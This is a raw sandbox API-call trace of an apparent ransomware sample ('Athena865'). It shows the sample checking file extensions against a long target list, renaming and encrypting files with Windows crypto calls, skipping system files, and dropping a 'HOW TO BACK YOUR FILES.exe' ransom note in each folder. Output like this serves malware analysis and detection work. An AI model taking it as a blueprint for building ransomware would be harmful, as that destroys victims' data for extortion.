lstrlenW (lpString="dbf") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0048.194] lstrlenW (lpString="mdf") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0048.194] lstrlenW (lpString="mdb") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0048.194] lstrlenW (lpString="sql") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0048.194] lstrlenW (lpString="sqlite") returned 6 [0048.194] lstrcmpiW (lpString1="gs.ini", lpString2="sqlite") returned -1 [0048.194] lstrlenW (lpString="sqlite3") returned 7 [0048.194] lstrcmpiW (lpString1="ngs.ini", lpString2="sqlite3") returned -1 [0048.194] lstrlenW (lpString="sqlitedb") returned 8 [0048.194] lstrcmpiW (lpString1="ings.ini", lpString2="sqlitedb") returned -1 [0048.194] lstrlenW (lpString="xml") returned 3 [0048.194] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0048.194] lstrlenW (lpString="$er") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0048.195] lstrlenW (lpString="4dd") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0048.195] lstrlenW (lpString="4dl") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0048.195] lstrlenW (lpString="^^^") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0048.195] lstrlenW (lpString="abs") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0048.195] lstrlenW (lpString="abx") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0048.195] lstrlenW (lpString="accdb") returned 5 [0048.195] lstrcmpiW (lpString1="s.ini", lpString2="accdb") returned 1 [0048.195] lstrlenW (lpString="accdc") returned 5 [0048.195] lstrcmpiW (lpString1="s.ini", lpString2="accdc") returned 1 [0048.195] lstrlenW (lpString="accde") returned 5 [0048.195] lstrcmpiW (lpString1="s.ini", lpString2="accde") returned 1 [0048.195] lstrlenW (lpString="accdr") returned 5 [0048.195] lstrcmpiW (lpString1="s.ini", lpString2="accdr") returned 1 [0048.195] lstrlenW (lpString="accdt") returned 5 [0048.195] lstrcmpiW (lpString1="s.ini", lpString2="accdt") returned 1 [0048.195] lstrlenW (lpString="accdw") returned 5 [0048.195] lstrcmpiW (lpString1="s.ini", lpString2="accdw") returned 1 [0048.195] lstrlenW (lpString="accft") returned 5 [0048.195] lstrcmpiW (lpString1="s.ini", lpString2="accft") returned 1 [0048.195] lstrlenW (lpString="adb") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0048.195] lstrlenW (lpString="adb") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0048.195] lstrlenW (lpString="ade") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0048.195] lstrlenW (lpString="adf") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0048.195] lstrlenW (lpString="adn") returned 3 [0048.195] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0048.195] lstrlenW (lpString="adp") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0048.196] lstrlenW (lpString="alf") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0048.196] lstrlenW (lpString="ask") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0048.196] lstrlenW (lpString="btr") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0048.196] lstrlenW (lpString="cat") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0048.196] lstrlenW (lpString="cdb") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0048.196] lstrlenW (lpString="ckp") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0048.196] lstrlenW (lpString="cma") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0048.196] lstrlenW (lpString="cpd") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0048.196] lstrlenW (lpString="dacpac") returned 6 [0048.196] lstrcmpiW (lpString1="gs.ini", lpString2="dacpac") returned 1 [0048.196] lstrlenW (lpString="dad") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0048.196] lstrlenW (lpString="dadiagrams") returned 10 [0048.196] lstrcmpiW (lpString1="ttings.ini", lpString2="dadiagrams") returned 1 [0048.196] lstrlenW (lpString="daschema") returned 8 [0048.196] lstrcmpiW (lpString1="ings.ini", lpString2="daschema") returned 1 [0048.196] lstrlenW (lpString="db-journal") returned 10 [0048.196] lstrcmpiW (lpString1="ttings.ini", lpString2="db-journal") returned 1 [0048.196] lstrlenW (lpString="db-shm") returned 6 [0048.196] lstrcmpiW (lpString1="gs.ini", lpString2="db-shm") returned 1 [0048.196] lstrlenW (lpString="db-wal") returned 6 [0048.196] lstrcmpiW (lpString1="gs.ini", lpString2="db-wal") returned 1 [0048.196] lstrlenW (lpString="dbc") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0048.196] lstrlenW (lpString="dbs") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0048.196] lstrlenW (lpString="dbt") returned 3 [0048.196] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0048.196] lstrlenW (lpString="dbv") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0048.197] lstrlenW (lpString="dbx") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0048.197] lstrlenW (lpString="dcb") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0048.197] lstrlenW (lpString="dct") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0048.197] lstrlenW (lpString="dcx") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0048.197] lstrlenW (lpString="ddl") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0048.197] lstrlenW (lpString="dlis") returned 4 [0048.197] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0048.197] lstrlenW (lpString="dp1") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0048.197] lstrlenW (lpString="dqy") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0048.197] lstrlenW (lpString="dsk") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0048.197] lstrlenW (lpString="dsn") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0048.197] lstrlenW (lpString="dtsx") returned 4 [0048.197] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0048.197] lstrlenW (lpString="dxl") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0048.197] lstrlenW (lpString="eco") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0048.197] lstrlenW (lpString="ecx") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0048.197] lstrlenW (lpString="edb") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0048.197] lstrlenW (lpString="epim") returned 4 [0048.197] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0048.197] lstrlenW (lpString="fcd") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0048.197] lstrlenW (lpString="fdb") returned 3 [0048.197] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0048.197] lstrlenW (lpString="fic") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0048.198] lstrlenW (lpString="flexolibrary") returned 12 [0048.198] lstrlenW (lpString="fm5") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0048.198] lstrlenW (lpString="fmp") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0048.198] lstrlenW (lpString="fmp12") returned 5 [0048.198] lstrcmpiW (lpString1="s.ini", lpString2="fmp12") returned 1 [0048.198] lstrlenW (lpString="fmpsl") returned 5 [0048.198] lstrcmpiW (lpString1="s.ini", lpString2="fmpsl") returned 1 [0048.198] lstrlenW (lpString="fol") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0048.198] lstrlenW (lpString="fp3") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0048.198] lstrlenW (lpString="fp4") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0048.198] lstrlenW (lpString="fp5") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0048.198] lstrlenW (lpString="fp7") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0048.198] lstrlenW (lpString="fpt") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0048.198] lstrlenW (lpString="frm") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0048.198] lstrlenW (lpString="gdb") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0048.198] lstrlenW (lpString="gdb") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0048.198] lstrlenW (lpString="grdb") returned 4 [0048.198] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0048.198] lstrlenW (lpString="gwi") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0048.198] lstrlenW (lpString="hdb") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0048.198] lstrlenW (lpString="his") returned 3 [0048.198] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0048.198] lstrlenW (lpString="ib") returned 2 [0048.198] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0048.199] lstrlenW (lpString="idb") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0048.199] lstrlenW (lpString="ihx") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0048.199] lstrlenW (lpString="itdb") returned 4 [0048.199] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0048.199] lstrlenW (lpString="itw") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0048.199] lstrlenW (lpString="jet") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0048.199] lstrlenW (lpString="jtx") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0048.199] lstrlenW (lpString="kdb") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0048.199] lstrlenW (lpString="kexi") returned 4 [0048.199] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0048.199] lstrlenW (lpString="kexic") returned 5 [0048.199] lstrcmpiW (lpString1="s.ini", lpString2="kexic") returned 1 [0048.199] lstrlenW (lpString="kexis") returned 5 [0048.199] lstrcmpiW (lpString1="s.ini", lpString2="kexis") returned 1 [0048.199] lstrlenW (lpString="lgc") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0048.199] lstrlenW (lpString="lwx") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0048.199] lstrlenW (lpString="maf") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0048.199] lstrlenW (lpString="maq") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0048.199] lstrlenW (lpString="mar") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0048.199] lstrlenW (lpString="marshal") returned 7 [0048.199] lstrcmpiW (lpString1="ngs.ini", lpString2="marshal") returned 1 [0048.199] lstrlenW (lpString="mas") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0048.199] lstrlenW (lpString="mav") returned 3 [0048.199] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0048.200] lstrlenW (lpString="maw") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0048.200] lstrlenW (lpString="mdbhtml") returned 7 [0048.200] lstrcmpiW (lpString1="ngs.ini", lpString2="mdbhtml") returned 1 [0048.200] lstrlenW (lpString="mdn") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0048.200] lstrlenW (lpString="mdt") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0048.200] lstrlenW (lpString="mfd") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0048.200] lstrlenW (lpString="mpd") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0048.200] lstrlenW (lpString="mrg") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0048.200] lstrlenW (lpString="mud") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0048.200] lstrlenW (lpString="mwb") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0048.200] lstrlenW (lpString="myd") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0048.200] lstrlenW (lpString="ndf") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0048.200] lstrlenW (lpString="nnt") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0048.200] lstrlenW (lpString="nrmlib") returned 6 [0048.200] lstrcmpiW (lpString1="gs.ini", lpString2="nrmlib") returned -1 [0048.200] lstrlenW (lpString="ns2") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0048.200] lstrlenW (lpString="ns3") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0048.200] lstrlenW (lpString="ns4") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0048.200] lstrlenW (lpString="nsf") returned 3 [0048.200] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0048.200] lstrlenW (lpString="nv") returned 2 [0048.200] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0048.200] lstrlenW (lpString="nv2") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0048.201] lstrlenW (lpString="nwdb") returned 4 [0048.201] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0048.201] lstrlenW (lpString="nyf") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0048.201] lstrlenW (lpString="odb") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0048.201] lstrlenW (lpString="odb") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0048.201] lstrlenW (lpString="oqy") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0048.201] lstrlenW (lpString="ora") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0048.201] lstrlenW (lpString="orx") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0048.201] lstrlenW (lpString="owc") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0048.201] lstrlenW (lpString="p96") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0048.201] lstrlenW (lpString="p97") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0048.201] lstrlenW (lpString="pan") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0048.201] lstrlenW (lpString="pdb") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0048.201] lstrlenW (lpString="pdm") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0048.201] lstrlenW (lpString="pnz") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0048.201] lstrlenW (lpString="qry") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0048.201] lstrlenW (lpString="qvd") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0048.201] lstrlenW (lpString="rbf") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0048.201] lstrlenW (lpString="rctd") returned 4 [0048.201] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0048.201] lstrlenW (lpString="rod") returned 3 [0048.201] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0048.202] lstrlenW (lpString="rodx") returned 4 [0048.202] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0048.202] lstrlenW (lpString="rpd") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0048.202] lstrlenW (lpString="rsd") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0048.202] lstrlenW (lpString="sas7bdat") returned 8 [0048.202] lstrcmpiW (lpString1="ings.ini", lpString2="sas7bdat") returned -1 [0048.202] lstrlenW (lpString="sbf") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0048.202] lstrlenW (lpString="scx") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0048.202] lstrlenW (lpString="sdb") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0048.202] lstrlenW (lpString="sdc") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0048.202] lstrlenW (lpString="sdf") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0048.202] lstrlenW (lpString="sis") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0048.202] lstrlenW (lpString="spq") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0048.202] lstrlenW (lpString="te") returned 2 [0048.202] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0048.202] lstrlenW (lpString="teacher") returned 7 [0048.202] lstrcmpiW (lpString1="ngs.ini", lpString2="teacher") returned -1 [0048.202] lstrlenW (lpString="tmd") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0048.202] lstrlenW (lpString="tps") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0048.202] lstrlenW (lpString="trc") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0048.202] lstrlenW (lpString="trc") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0048.202] lstrlenW (lpString="trm") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0048.202] lstrlenW (lpString="udb") returned 3 [0048.202] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0048.203] lstrlenW (lpString="udl") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0048.203] lstrlenW (lpString="usr") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0048.203] lstrlenW (lpString="v12") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0048.203] lstrlenW (lpString="vis") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0048.203] lstrlenW (lpString="vpd") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0048.203] lstrlenW (lpString="vvv") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0048.203] lstrlenW (lpString="wdb") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0048.203] lstrlenW (lpString="wmdb") returned 4 [0048.203] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0048.203] lstrlenW (lpString="wrk") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0048.203] lstrlenW (lpString="xdb") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0048.203] lstrlenW (lpString="xld") returned 3 [0048.203] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0048.203] lstrlenW (lpString="xmlff") returned 5 [0048.203] lstrcmpiW (lpString1="s.ini", lpString2="xmlff") returned -1 [0048.203] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\settings.ini.Athena865") returned 61 [0048.203] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\settings.ini" (normalized: "c:\\program files (x86)\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\settings.ini.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\settings.ini.athena865"), dwFlags=0x1) returned 1 [0048.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\settings.ini.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\settings.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.204] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=80) returned 1 [0048.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0048.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.204] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.205] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.205] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.205] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154 [0048.207] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000 [0048.208] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.209] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.209] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x524fa0 [0048.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524fa0 | out: hHeap=0x4f0000) returned 1 [0048.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.209] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.209] CloseHandle (hObject=0x154) returned 1 [0048.210] CloseHandle (hObject=0x17c) returned 1 [0048.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0048.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.210] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2=".") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="..") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="windows") returned -1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="bootmgr") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="temp") returned -1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="pagefile.sys") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="boot") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="ids.txt") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="ntuser.dat") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="perflogs") returned 1 [0048.210] lstrcmpiW (lpString1="Shared Gadgets", lpString2="MSBuild") returned 1 [0048.210] lstrlenW (lpString="Shared Gadgets") returned 14 [0048.210] lstrcpyW (in: lpString1=0x241e896, lpString2="Shared Gadgets" | out: lpString1="Shared Gadgets") returned="Shared Gadgets" [0048.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a10 [0048.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d4f8 [0048.210] lstrcatW (in: lpString1="Shared Gadgets", lpString2="\\" | out: lpString1="Shared Gadgets\\") returned="Shared Gadgets\\" [0048.210] lstrcatW (in: lpString1="Shared Gadgets\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Shared Gadgets\\HOW TO BACK YOUR FILES.exe") returned="Shared Gadgets\\HOW TO BACK YOUR FILES.exe" [0048.210] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\shared gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.213] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e26afc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e26afc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e4cc5c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11ea00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2=".") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="..") returned 1 [0048.213] 